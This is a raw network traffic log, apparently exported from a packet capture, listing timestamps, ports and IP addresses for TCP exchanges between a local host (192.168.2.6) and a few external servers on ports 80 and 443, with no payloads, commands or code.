Nov 1, 2024 00:38:58.775892973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:58.775942087 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:58.841624022 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:58.841658115 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:58.841715097 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:58.842000008 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:58.842015028 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.460010052 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.460082054 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.475059986 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.475076914 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.475298882 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.476433992 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.476537943 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.476543903 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.904628992 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.904706001 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:59.904777050 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.904969931 CET	49989	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:59.904994965 CET	443	49989	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:00.863363981 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:00.863408089 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:00.863468885 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:00.863838911 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:00.863853931 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.061088085 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:01.066358089 CET	80	49943	185.215.113.43	192.168.2.6
Nov 1, 2024 00:39:01.068331003 CET	49943	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:01.068628073 CET	50001	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:01.073431969 CET	80	50001	185.215.113.43	192.168.2.6
Nov 1, 2024 00:39:01.076679945 CET	50001	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:01.076808929 CET	50001	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:01.081568956 CET	80	50001	185.215.113.43	192.168.2.6
Nov 1, 2024 00:39:01.478916883 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.478997946 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.480140924 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.480149984 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.480472088 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.481621981 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.482455015 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.482486010 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.483263969 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.483292103 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.486572027 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.486613989 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487281084 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.487308025 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487447977 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.487473965 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487636089 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.487668037 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487677097 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.487680912 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487824917 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.487849951 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.487870932 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.488029957 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.488065958 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.493788958 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.493977070 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.494013071 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.494041920 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.494066954 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:01.494110107 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:01.494159937 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:02.011430979 CET	80	50001	185.215.113.43	192.168.2.6
Nov 1, 2024 00:39:02.011507034 CET	50001	80	192.168.2.6	185.215.113.43
Nov 1, 2024 00:39:02.013744116 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.014003992 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.019612074 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.019666910 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.019978046 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.020045042 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.020152092 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.025495052 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.373699903 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:02.379956007 CET	80	50005	185.215.113.206	192.168.2.6
Nov 1, 2024 00:39:02.380045891 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:02.380861044 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:02.388329029 CET	80	50005	185.215.113.206	192.168.2.6
Nov 1, 2024 00:39:02.948293924 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948350906 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948378086 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948390007 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948405027 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948436975 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948441029 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948477983 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948507071 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948513985 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948533058 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948549032 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948554039 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948584080 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948613882 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948617935 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948635101 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.948659897 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.948704958 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:02.955101967 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:02.955157042 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.098512888 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098560095 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098598957 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098630905 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.098656893 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.098664999 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098699093 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098709106 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.098740101 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.098752975 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.098793983 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099072933 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099108934 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099123955 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099145889 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099148035 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099224091 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099477053 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099517107 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099523067 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099556923 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099570036 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099592924 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099608898 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099643946 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.099652052 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.099683046 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.215477943 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.215511084 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.215547085 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.215580940 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.215604067 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.215651989 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.215667009 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.215704918 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.215744972 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.216008902 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216025114 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216039896 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216053009 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.216078997 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.216520071 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216536045 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216551065 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216567039 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216579914 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.216583014 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.216667891 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.216710091 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.259639978 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.259695053 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.259763956 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.259767056 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.259793997 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.259941101 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.261502981 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.295233965 CET	80	50005	185.215.113.206	192.168.2.6
Nov 1, 2024 00:39:03.297528028 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:03.299510002 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:03.305942059 CET	80	50005	185.215.113.206	192.168.2.6
Nov 1, 2024 00:39:03.332793951 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.332849026 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.332856894 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.332882881 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.332897902 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.332920074 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.332928896 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.332954884 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.332968950 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333003044 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333259106 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.333292007 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.333306074 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333328009 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.333338976 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333364010 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.333369970 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333405972 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.333889961 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.334611893 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.334661961 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.376888990 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.376924038 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.376957893 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.377011061 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.377044916 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.377059937 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.377059937 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.449860096 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.449892998 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.449954987 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450009108 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450042963 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450059891 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450078964 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450093031 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450113058 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450124025 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450150013 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450155973 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450215101 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.450866938 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.450922966 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.492424011 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.492461920 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.492485046 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.492496967 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.492511034 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.492542982 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.493912935 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.493964911 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.493964911 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.494002104 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.494012117 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.494051933 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.494055986 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.494090080 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.494097948 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.494134903 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.566860914 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.566879034 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.566890955 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.566920996 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.566942930 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.567048073 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.567095041 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.567140102 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.567152023 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.567161083 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.567186117 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.567210913 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.587827921 CET	80	50005	185.215.113.206	192.168.2.6
Nov 1, 2024 00:39:03.587939024 CET	50005	80	192.168.2.6	185.215.113.206
Nov 1, 2024 00:39:03.609441996 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.609478951 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.609532118 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.609641075 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.609641075 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.610964060 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611059904 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611116886 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.611164093 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611197948 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611213923 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.611233950 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611243010 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.611280918 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.611404896 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611449957 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.611453056 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.611496925 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.684031010 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684088945 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684139013 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684164047 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.684174061 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684187889 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.684211016 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684230089 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.684258938 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.684458017 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.684516907 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.726468086 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.726537943 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.726609945 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.726656914 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.726684093 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.726691961 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.726716042 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.726727962 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728013039 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728065014 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728065968 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728112936 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728183031 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728218079 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728230953 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728254080 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728266001 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728288889 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728357077 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728836060 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728869915 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728893042 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728904963 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.728919983 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.728945971 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.800965071 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.800998926 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.801053047 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.801079035 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.801086903 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.801122904 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.801136971 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.801517010 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.843447924 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.843494892 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.843549967 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.843574047 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.843578100 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.843615055 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.843638897 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.844979048 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845031023 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845104933 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845155954 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845206976 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845222950 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845242977 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845254898 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845276117 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845283985 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845314980 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845798969 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845833063 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845853090 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845881939 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.845885038 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.845944881 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.846263885 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.846297979 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.846314907 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.846332073 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.846340895 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.846383095 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.889920950 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:03.890187979 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:03.890357018 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:03.890491009 CET	50000	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:03.890512943 CET	443	50000	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:03.908840895 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:03.908875942 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:03.908956051 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:03.909236908 CET	50006	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:39:03.909250975 CET	443	50006	188.114.96.3	192.168.2.6
Nov 1, 2024 00:39:03.918175936 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.918229103 CET	80	50004	185.215.113.16	192.168.2.6
Nov 1, 2024 00:39:03.918287992 CET	50004	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:39:03.918339968 CET	80	50004	185.215.113.16	192.168.2.6
